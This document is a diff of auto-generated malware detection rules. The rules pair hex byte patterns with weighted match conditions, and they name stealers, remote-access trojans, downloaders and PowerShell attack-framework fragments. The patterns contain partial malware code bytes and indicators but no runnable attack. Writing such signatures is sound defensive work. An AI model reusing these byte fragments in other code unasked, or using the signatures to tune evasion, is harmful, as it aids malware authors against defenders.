1)*18774+(#a_61_2 & 1)*25665+(#a_5c_3 & 1)*28521+(#a_69_4 & 1)*29779+(#a_64_5 & 1)*21294) >=19 + ((#a_54_0 & 1)*18467+(#a_49_1 & 1)*18774+(#a_3a_2 & 1)*17748+(#a_00_3 & 1)*4065+(#a_31_4 & 1)*-16881) >=19 } -rule _InfrastructureShared_11160{ +rule _InfrastructureShared_11879{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,19 00 19 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 4c 4d 42 21 4d 54 42 00 0f 00 31 01 41 0f b6 08 ff c2 83 e1 0f 4a 0f be 84 11 80 59 07 00 42 8a 8c 11 90 59 07 00 4c 2b c0 41 8b 40 fc d3 e8 4c 89 47 08 } //21539 + $a_41_1 = {b6 08 83 e1 0f 0a 00 40 01 41 0f b6 08 83 e1 0f 4a 0f be 94 31 80 59 07 } //18313 + condition: + ((#a_4c_0 & 1)*21539+(#a_41_1 & 1)*18313) >=25 + +} +rule _InfrastructureShared_11880{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 02 00 21 " + + strings : + $a_54_0 = {3a 49 50 43 68 65 63 6b 2e 48 41 21 4d 54 42 00 1e 00 30 01 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 69 00 70 00 77 00 68 00 6f 00 69 00 73 00 2e 00 61 00 70 00 70 00 2f 00 78 00 6d 00 6c 00 2f 00 1e 00 4b 01 68 00 74 00 74 00 70 00 3a 00 2f } //18467 + condition: + ((#a_54_0 & 1)*18467) >=30 + +} +rule _InfrastructureShared_11881{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1f 00 1f 00 05 00 21 " @@ -122495,7 +130547,7 @@ rule _InfrastructureShared_11160{ ((#a_77_0 & 1)*16675+(#a_6e_1 & 1)*22364+(#a_57_2 & 1)*2560+(#a_65_3 & 1)*27715+(#a_50_4 & 1)*19521) >=31 } -rule _InfrastructureShared_11161{ +rule _InfrastructureShared_11882{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,29 00 29 00 06 00 21 " @@ -122509,7 +130561,7 @@ rule _InfrastructureShared_11161{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*28015+(#a_41_3 & 1)*8448+(#a_53_4 & 1)*368+(#a_74_5 & 1)*12135) >=41 } -rule _InfrastructureShared_11162{ +rule _InfrastructureShared_11883{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -122519,7 +130571,7 @@ rule _InfrastructureShared_11162{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_11163{ +rule _InfrastructureShared_11884{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 02 00 21 " @@ -122530,19 +130582,32 @@ rule _InfrastructureShared_11163{ ((#a_46_0 & 1)*16675+(#a_5f_1 & 1)*400) >=100 } -rule _InfrastructureShared_11164{ +rule _InfrastructureShared_11885{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 03 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 55 70 61 74 72 65 2e 41 42 00 05 00 3b 03 80 3b 4d 8b f8 75 12 80 7b 01 5a 75 0c ff 75 fc 53 57 e8 90 01 04 eb 90 01 01 8b 4d fc 33 c0 83 e1 fc 40 83 f9 04 76 12 81 34 83 90 01 } //18467 - $a_fc_1 = {c1 e9 02 3b c1 72 ee 90 00 01 00 0a 01 2e 00 65 00 6e 00 63 00 00 00 01 00 1e 01 43 00 6f 00 6e 00 63 00 68 00 69 00 74 00 61 00 20 00 57 00 75 00 72 00 73 00 74 00 00 00 00 00 07 00 78 a2 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a } //-29948 - $a_6a_2 = {6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 41 64 6c 6f 61 64 2e 53 49 42 21 4d 54 42 00 01 00 6a 02 0f b6 c0 33 d8 b9 90 01 04 d1 e1 8d 54 0d 90 01 01 8b 45 90 01 01 0f b6 0c 02 51 e8 90 01 04 83 c4 04 0f b6 d0 33 da b8 90 01 04 6b c8 90 01 01 8d 54 0d 90 1b 01 8b 45 90 1b 02 0f b6 0c 02 51 e8 90 01 04 83 c4 04 0f b6 d0 } //29268 + $a_fc_1 = {c1 e9 02 3b c1 72 ee 90 00 01 00 0a 01 2e 00 65 00 6e 00 63 00 00 00 01 00 1e 01 43 00 6f 00 6e 00 63 00 68 00 69 00 74 00 61 00 20 00 57 00 75 00 72 00 73 00 74 00 00 00 00 00 07 00 78 a1 00 00 64 00 64 00 04 00 21 23 54 45 4c 3a } //-29948 + $a_6a_2 = {6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 4d 52 21 4d 54 42 00 28 00 1a 01 8b d0 8d 8d 0c ff ff ff e8 bd df fe ff 50 68 a0 2f 40 00 e8 3a df fe ff 8b d0 28 00 3a 01 8b 85 cc fd ff ff 8b 00 89 85 18 fe ff ff 6a 03 59 e8 6c e2 fe ff 50 8b 85 18 fe ff ff 8b 00 ff b5 18 fe ff ff ff 90 14 01 00 00 db e2 89 85 14 fe ff ff 83 bd 14 fe ff ff } //29268 condition: ((#a_54_0 & 1)*18467+(#a_fc_1 & 1)*-29948+(#a_6a_2 & 1)*29268) >=100 } -rule _InfrastructureShared_11165{ +rule _InfrastructureShared_11886{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 04 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 75 73 79 2e 4d 52 21 4d 54 42 00 28 00 1a 01 8b d0 8d 8d 0c ff ff ff e8 bd df fe ff 50 68 a0 2f 40 00 e8 3a df fe ff 8b d0 28 00 3a 01 8b 85 cc fd ff ff 8b 00 89 85 } //21539 + $a_ff_1 = {03 59 e8 6c e2 fe ff 50 8b 85 18 fe ff ff 8b 00 ff b5 18 fe ff ff ff 90 14 01 00 00 db e2 89 85 14 fe ff ff 83 bd 14 fe ff ff 00 0a 00 0c 01 43 79 63 6c 6f 6d 79 61 72 69 61 38 0a 00 0a 01 43 6c 75 6d 70 69 65 73 74 34 00 00 78 a2 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 41 64 6c 6f 61 64 2e 53 49 42 21 4d 54 42 00 01 00 6a 02 0f b6 c0 33 d8 b9 90 01 04 d1 e1 8d 54 0d 90 01 01 8b 45 90 01 01 0f b6 0c 02 51 e8 90 01 04 83 c4 04 0f b6 d0 33 da b8 90 01 04 6b c8 90 01 01 8d 54 0d 90 1b 01 8b 45 90 1b 02 0f b6 0c 02 51 e8 90 01 04 83 c4 04 0f b6 d0 33 da b8 90 01 04 6b c8 90 01 01 8b 55 90 01 01 8b 44 0a 90 01 01 8b 4d 90 1b 02 88 1c 08 90 00 00 00 78 a2 00 00 01 00 01 00 01 00 21 23 48 53 } //-488 + $a_54_2 = {6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 44 46 47 31 21 4d 54 42 00 01 00 6f 01 16 6a 0d 2b 57 06 17 58 20 ff 00 00 00 5f 0a 08 07 06 95 58 20 ff 00 00 } //21076 + $a_07_3 = {06 95 13 04 07 06 07 08 95 9e 07 08 } //24320 + condition: + ((#a_4c_0 & 1)*21539+(#a_ff_1 & 1)*-488+(#a_54_2 & 1)*21076+(#a_07_3 & 1)*24320) >=100 + +} +rule _InfrastructureShared_11887{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -122552,7 +130617,7 @@ rule _InfrastructureShared_11165{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_11166{ +rule _InfrastructureShared_11888{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -122562,7 +130627,7 @@ rule _InfrastructureShared_11166{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11167{ +rule _InfrastructureShared_11889{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -122572,7 +130637,7 @@ rule _InfrastructureShared_11167{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11168{ +rule _InfrastructureShared_11890{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -122582,7 +130647,7 @@ rule _InfrastructureShared_11168{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11169{ +rule _InfrastructureShared_11891{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -122592,7 +130657,7 @@ rule _InfrastructureShared_11169{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11170{ +rule _InfrastructureShared_11892{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -122602,7 +130667,7 @@ rule _InfrastructureShared_11170{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11171{ +rule _InfrastructureShared_11893{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -122612,7 +130677,7 @@ rule _InfrastructureShared_11171{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11172{ +rule _InfrastructureShared_11894{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -122622,7 +130687,7 @@ rule _InfrastructureShared_11172{ ((#a_48_0 & 1)*12067) >=1 } -rule _InfrastructureShared_11173{ +rule _InfrastructureShared_11895{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -122633,7 +130698,7 @@ rule _InfrastructureShared_11173{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*29253) >=1 } -rule _InfrastructureShared_11174{ +rule _InfrastructureShared_11896{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -122645,7 +130710,7 @@ rule _InfrastructureShared_11174{ ((#a_46_0 & 1)*16675+(#a_3d_1 & 1)*28710+(#a_32_2 & 1)*19795) >=1 } -rule _InfrastructureShared_11175{ +rule _InfrastructureShared_11897{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -122655,7 +130720,7 @@ rule _InfrastructureShared_11175{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_11176{ +rule _InfrastructureShared_11898{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -122666,7 +130731,7 @@ rule _InfrastructureShared_11176{ ((#a_46_0 & 1)*16675+(#a_0d_1 & 1)*-14029) >=2 } -rule _InfrastructureShared_11177{ +rule _InfrastructureShared_11899{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -122677,7 +130742,7 @@ rule _InfrastructureShared_11177{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*111) >=2 } -rule _InfrastructureShared_11178{ +rule _InfrastructureShared_11900{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -122688,7 +130753,18 @@ rule _InfrastructureShared_11178{ ((#a_54_0 & 1)*18467+(#a_11_1 & 1)*5009) >=2 } -rule _InfrastructureShared_11179{ +rule _InfrastructureShared_11901{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 75 6d 6d 61 63 53 74 65 61 6c 65 72 2e 59 49 54 21 4d 54 42 00 01 00 3d 03 8b c2 c1 e8 90 01 01 33 c2 69 d0 90 01 04 03 d1 89 54 8c 90 01 01 48 ff c1 48 81 f9 90 01 } //21539 + $a_01_1 = {01 c7 44 24 90 01 05 44 8b 74 24 90 01 01 41 ff ce 48 8d 4c 24 90 01 01 e8 90 00 01 00 2c 03 8b c8 48 6b c1 90 01 01 83 f8 90 01 01 77 90 01 01 48 8d 4c 24 90 01 01 e8 90 01 04 8b c8 48 6b c1 90 01 01 83 f8 90 01 01 72 90 00 00 00 78 a2 00 00 02 00 02 00 03 00 21 23 42 4d 5f 41 54 5f 63 72 79 3a 41 64 76 61 6e 63 65 64 49 50 53 63 61 6e 6e 65 72 00 01 00 26 01 41 00 64 00 76 00 61 00 6e 00 63 00 65 00 64 00 20 00 49 00 50 00 20 } //29188 + condition: + ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*29188) >=2 + +} +rule _InfrastructureShared_11902{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -122699,7 +130775,7 @@ rule _InfrastructureShared_11179{ ((#a_5f_0 & 1)*16931+(#a_00_2 & 1)*99) >=2 } -rule _InfrastructureShared_11180{ +rule _InfrastructureShared_11903{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -122711,7 +130787,7 @@ rule _InfrastructureShared_11180{ ((#a_54_0 & 1)*18467+(#a_89_1 & 1)*400+(#a_90_2 & 1)*-252) >=2 } -rule _InfrastructureShared_11181{ +rule _InfrastructureShared_11904{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -122723,7 +130799,7 @@ rule _InfrastructureShared_11181{ ((#a_77_0 & 1)*19491+(#a_00_1 & 1)*400+(#a_44_2 & 1)*0) >=2 } -rule _InfrastructureShared_11182{ +rule _InfrastructureShared_11905{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -122735,7 +130811,7 @@ rule _InfrastructureShared_11182{ ((#a_4c_0 & 1)*21539+(#a_dc_1 & 1)*-29751+(#a_ff_2 & 1)*-18355) >=2 } -rule _InfrastructureShared_11183{ +rule _InfrastructureShared_11906{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -122747,7 +130823,7 @@ rule _InfrastructureShared_11183{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*115+(#a_61_2 & 1)*28271) >=3 } -rule _InfrastructureShared_11184{ +rule _InfrastructureShared_11907{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -122759,7 +130835,7 @@ rule _InfrastructureShared_11184{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25962+(#a_5f_2 & 1)*25934) >=3 } -rule _InfrastructureShared_11185{ +rule _InfrastructureShared_11908{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -122771,7 +130847,7 @@ rule _InfrastructureShared_11185{ ((#a_6c_0 & 1)*16675+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2) >=3 } -rule _InfrastructureShared_11186{ +rule _InfrastructureShared_11909{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -122783,7 +130859,7 @@ rule _InfrastructureShared_11186{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*25966+(#a_20_2 & 1)*25445) >=3 } -rule _InfrastructureShared_11187{ +rule _InfrastructureShared_11910{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -122794,29 +130870,30 @@ rule _InfrastructureShared_11187{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*114) >=3 } -rule _InfrastructureShared_11188{ +rule _InfrastructureShared_11911{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " strings : $a_77_0 = {72 65 3a 57 69 6e 33 32 2f 47 61 6d 65 50 6c 61 79 4c 61 62 73 00 01 00 18 01 47 61 6d 65 50 6c 61 79 4c 61 62 73 50 6c 75 67 69 6e 41 50 49 40 40 00 01 00 19 01 49 76 61 6e 5c 44 6f 63 75 6d 65 6e 74 73 5c 66 69 72 65 62 72 65 61 74 68 01 00 19 01 6e 70 47 61 6d 65 50 6c 61 79 4c 61 62 73 50 6c 75 } //16675 - $a_2e_1 = {6c 6c 00 01 00 24 01 67 61 6d 65 70 6c 61 79 6c 61 62 73 2e 63 6f 6d 2f 47 61 6d 65 50 6c 61 79 4c 61 62 73 50 6c 75 67 69 6e 00 00 00 78 a2 00 00 04 00 04 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 65 6d 63 6f 73 2e 50 4b 44 5a 21 4d 54 42 00 04 00 74 01 72 61 00 00 70 28 24 00 00 0a 0a 72 93 00 00 70 28 } //26983 - $a_00_3 = {00 06 0c 12 02 28 18 00 00 } //10251 + $a_2e_1 = {6c 6c 00 01 00 24 01 67 61 6d 65 70 6c 61 79 6c 61 62 73 2e 63 6f 6d 2f 47 61 6d 65 50 6c 61 79 4c 61 62 73 50 6c 75 67 69 6e 00 00 00 78 a2 00 00 04 00 04 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 43 52 61 74 2e 50 4e 43 21 4d 54 42 00 03 00 3e 03 11 07 11 10 11 12 28 90 01 01 00 00 0a 25 13 15 11 15 } //26983 + $a_11_2 = {11 14 28 90 01 } //4426 condition: - ((#a_77_0 & 1)*16675+(#a_2e_1 & 1)*26983+(#a_00_3 & 1)*10251) >=3 + ((#a_77_0 & 1)*16675+(#a_2e_1 & 1)*26983+(#a_11_2 & 1)*4426) >=3 } -rule _InfrastructureShared_11189{ +rule _InfrastructureShared_11912{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 52 65 6d 63 6f 73 2e 50 4b 44 5a 21 4d 54 42 00 04 00 74 01 72 61 00 00 70 28 24 00 00 0a 0a 72 93 00 00 70 28 24 00 00 0a 0b 28 09 00 00 06 0c 12 02 28 18 00 00 0a 75 03 } //21539 + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 43 52 61 74 2e 50 4e 43 21 4d 54 42 00 03 00 3e 03 11 07 11 10 11 12 28 90 01 01 00 00 0a 25 13 15 11 15 4a 11 05 11 10 11 14 28 90 01 01 00 00 0a 11 06 11 14 11 12 28 90 01 01 00 00 0a d8 d6 54 11 14 17 d6 } //18467 + $a_14_1 = {13 31 ca 90 00 01 00 33 03 74 0a 00 00 1b 0c 72 cd } //5139 condition: - ((#a_4c_0 & 1)*21539) >=4 + ((#a_54_0 & 1)*18467+(#a_14_1 & 1)*5139) >=4 } -rule _InfrastructureShared_11190{ +rule _InfrastructureShared_11913{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -122829,7 +130906,7 @@ rule _InfrastructureShared_11190{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*30575+(#a_00_2 & 1)*26724+(#a_63_3 & 1)*25951) >=4 } -rule _InfrastructureShared_11191{ +rule _InfrastructureShared_11914{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -122841,7 +130918,7 @@ rule _InfrastructureShared_11191{ ((#a_46_0 & 1)*16675+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 } -rule _InfrastructureShared_11192{ +rule _InfrastructureShared_11915{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -122854,7 +130931,7 @@ rule _InfrastructureShared_11192{ ((#a_54_0 & 1)*18467+(#a_58_1 & 1)*10328+(#a_41_2 & 1)*19529+(#a_63_3 & 1)*11622) >=4 } -rule _InfrastructureShared_11193{ +rule _InfrastructureShared_11916{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -122866,7 +130943,7 @@ rule _InfrastructureShared_11193{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*26988+(#a_00_3 & 1)*104) >=4 } -rule _InfrastructureShared_11194{ +rule _InfrastructureShared_11917{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -122878,7 +130955,7 @@ rule _InfrastructureShared_11194{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*84+(#a_7a_3 & 1)*27745) >=4 } -rule _InfrastructureShared_11195{ +rule _InfrastructureShared_11918{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -122891,7 +130968,7 @@ rule _InfrastructureShared_11195{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*-32486+(#a_72_2 & 1)*29797+(#a_65_3 & 1)*29285) >=4 } -rule _InfrastructureShared_11196{ +rule _InfrastructureShared_11919{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -122904,7 +130981,7 @@ rule _InfrastructureShared_11196{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*29281+(#a_54_2 & 1)*8499+(#a_81_3 & 1)*1) >=4 } -rule _InfrastructureShared_11197{ +rule _InfrastructureShared_11920{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -122917,7 +130994,7 @@ rule _InfrastructureShared_11197{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*25120+(#a_42_2 & 1)*19745+(#a_01_3 & 1)*8192) >=4 } -rule _InfrastructureShared_11198{ +rule _InfrastructureShared_11921{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -122930,7 +131007,7 @@ rule _InfrastructureShared_11198{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*24953+(#a_78_2 & 1)*11891+(#a_2e_3 & 1)*16722) >=4 } -rule _InfrastructureShared_11199{ +rule _InfrastructureShared_11922{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -122943,7 +131020,7 @@ rule _InfrastructureShared_11199{ ((#a_4c_0 & 1)*21539+(#a_2f_1 & 1)*8805+(#a_61_2 & 1)*29541+(#a_21_3 & 1)*15425) >=4 } -rule _InfrastructureShared_11200{ +rule _InfrastructureShared_11923{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -122957,7 +131034,7 @@ rule _InfrastructureShared_11200{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*29812+(#a_2f_2 & 1)*13166+(#a_6e_3 & 1)*28787+(#a_00_4 & 1)*98) >=4 } -rule _InfrastructureShared_11201{ +rule _InfrastructureShared_11924{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -122971,20 +131048,35 @@ rule _InfrastructureShared_11201{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*3+(#a_03_2 & 1)*1+(#a_01_3 & 1)*1+(#a_a2_4 & 1)*0) >=4 } -rule _InfrastructureShared_11202{ +rule _InfrastructureShared_11925{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " strings : $a_77_0 = {72 65 3a 57 69 6e 33 32 2f 41 72 63 61 64 65 57 65 62 00 01 00 12 01 41 57 65 78 74 65 6e 73 69 6f 6e 2e 6a 73 2e 74 6d 70 01 00 08 01 61 77 75 6e 2e 65 78 65 01 00 17 01 45 6c 65 6d 65 6e 74 20 6d 75 7a 74 20 62 65 20 63 6c 6f 73 65 64 2e 01 00 20 01 53 6f 66 74 77 61 72 65 5c 41 70 70 44 61 74 61 } //16675 - $a_5c_1 = {57 47 41 4d 45 43 4f 4e 46 49 47 01 00 1c 01 41 72 63 61 64 65 57 65 62 20 53 6f 66 74 77 61 72 65 20 49 6e 73 74 61 6c 6c 65 72 00 00 78 a2 00 00 04 00 04 00 06 00 21 23 41 4c 46 3a 50 55 41 41 64 76 65 72 74 69 73 69 6e 67 3a 57 69 6e 33 32 2f 43 6f 6e 64 75 69 74 2e 4b 53 34 35 00 01 00 0b 80 01 43 6f 6e 64 75 69 74 20 4c 74 64 01 00 13 80 01 73 20 63 } //28492 - $a_75_2 = {69 74 79 20 74 6f 6f 6c 62 61 72 01 00 18 80 01 43 6f 6e 64 75 69 74 20 43 6f 6d 6d 75 6e 69 74 79 20 41 6c 65 72 74 73 01 00 07 80 01 43 6f 6e 64 75 69 74 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 a2 00 00 04 00 04 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 } //28015 - $a_70_3 = {72 65 21 46 72 61 67 73 2e 41 00 01 00 0d 80 01 27 29 2e 49 6e 76 6f 6b 65 28 28 22 7b 01 00 10 80 01 5d 3b 2d 6a 6f 69 6e 5b 43 68 61 72 5b 5d 5d 28 01 00 0a 80 01 7d 5b 30 2e 2e 33 5d 3b 24 7b 01 00 0a 80 01 29 2e 56 61 4c 55 65 3a 3a 22 01 00 1e 02 7d 00 2b 00 24 00 7b 00 90 02 04 7d 00 29 00 29 00 7c 00 90 02 04 28 00 22 } //17711 + $a_5c_1 = {57 47 41 4d 45 43 4f 4e 46 49 47 01 00 1c 01 41 72 63 61 64 65 57 65 62 20 53 6f 66 74 77 61 72 65 20 49 6e 73 74 61 6c 6c 65 72 00 00 78 a2 00 00 04 00 04 00 05 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 50 72 6f 63 65 73 73 45 78 65 63 75 74 69 6f 6e 2e 50 52 21 41 4d 54 42 00 01 00 1a 81 01 53 79 73 74 65 6d 2e 44 69 61 67 6e 6f 73 74 69 63 73 2e 50 72 6f } //28492 + $a_73_2 = {00 0c 81 01 50 72 6f 63 65 73 73 53 74 61 72 74 01 00 1e 81 01 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 01 00 0c 81 01 56 69 72 74 75 61 6c 41 6c 6c 6f 63 01 00 0c 81 01 43 72 65 61 74 65 54 68 72 65 61 64 00 00 78 a2 00 00 04 00 04 00 06 00 21 23 41 4c 46 3a 50 55 41 41 64 76 65 72 74 69 73 69 } //25955 + $a_57_3 = {6e 33 32 2f 43 6f 6e 64 75 69 74 2e 4b 53 34 35 00 01 00 0b 80 01 43 6f 6e 64 75 69 74 20 4c 74 64 01 00 13 80 01 73 20 63 6f 6d 6d 75 6e 69 74 79 20 74 6f 6f 6c 62 61 72 01 } //26478 + $a_01_4 = {43 6f 6e 64 75 69 74 20 43 6f 6d 6d 75 6e 69 74 79 20 41 6c 65 72 74 73 01 00 07 80 01 43 6f 6e 64 75 69 74 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 a2 00 00 04 00 04 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 45 6d 70 69 72 65 21 46 72 61 67 73 2e 41 00 01 00 0d 80 01 27 29 2e 49 6e 76 6f 6b 65 28 28 22 7b 01 } //6144 condition: - ((#a_77_0 & 1)*16675+(#a_5c_1 & 1)*28492+(#a_75_2 & 1)*28015+(#a_70_3 & 1)*17711) >=4 + ((#a_77_0 & 1)*16675+(#a_5c_1 & 1)*28492+(#a_73_2 & 1)*25955+(#a_57_3 & 1)*26478+(#a_01_4 & 1)*6144) >=4 } -rule _InfrastructureShared_11203{ +rule _InfrastructureShared_11926{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " + + strings : + $a_54_0 = {3a 4d 53 49 4c 2f 50 72 6f 63 65 73 73 45 78 65 63 75 74 69 6f 6e 2e 50 52 21 41 4d 54 42 00 01 00 1a 81 01 53 79 73 74 65 6d 2e 44 69 61 67 6e 6f 73 74 69 63 73 2e 50 72 6f 63 65 73 73 01 00 0c 81 01 50 72 6f 63 65 73 73 53 74 61 72 74 01 00 1e 81 } //18467 + $a_73_1 = {65 6d 2e 52 75 6e 74 69 6d 65 2e 49 6e 74 65 72 6f 70 53 65 72 76 69 63 65 73 01 00 0c 81 01 56 69 72 74 75 61 6c 41 6c 6c 6f 63 01 00 0c 81 01 43 72 65 61 74 65 54 68 72 65 61 64 00 00 78 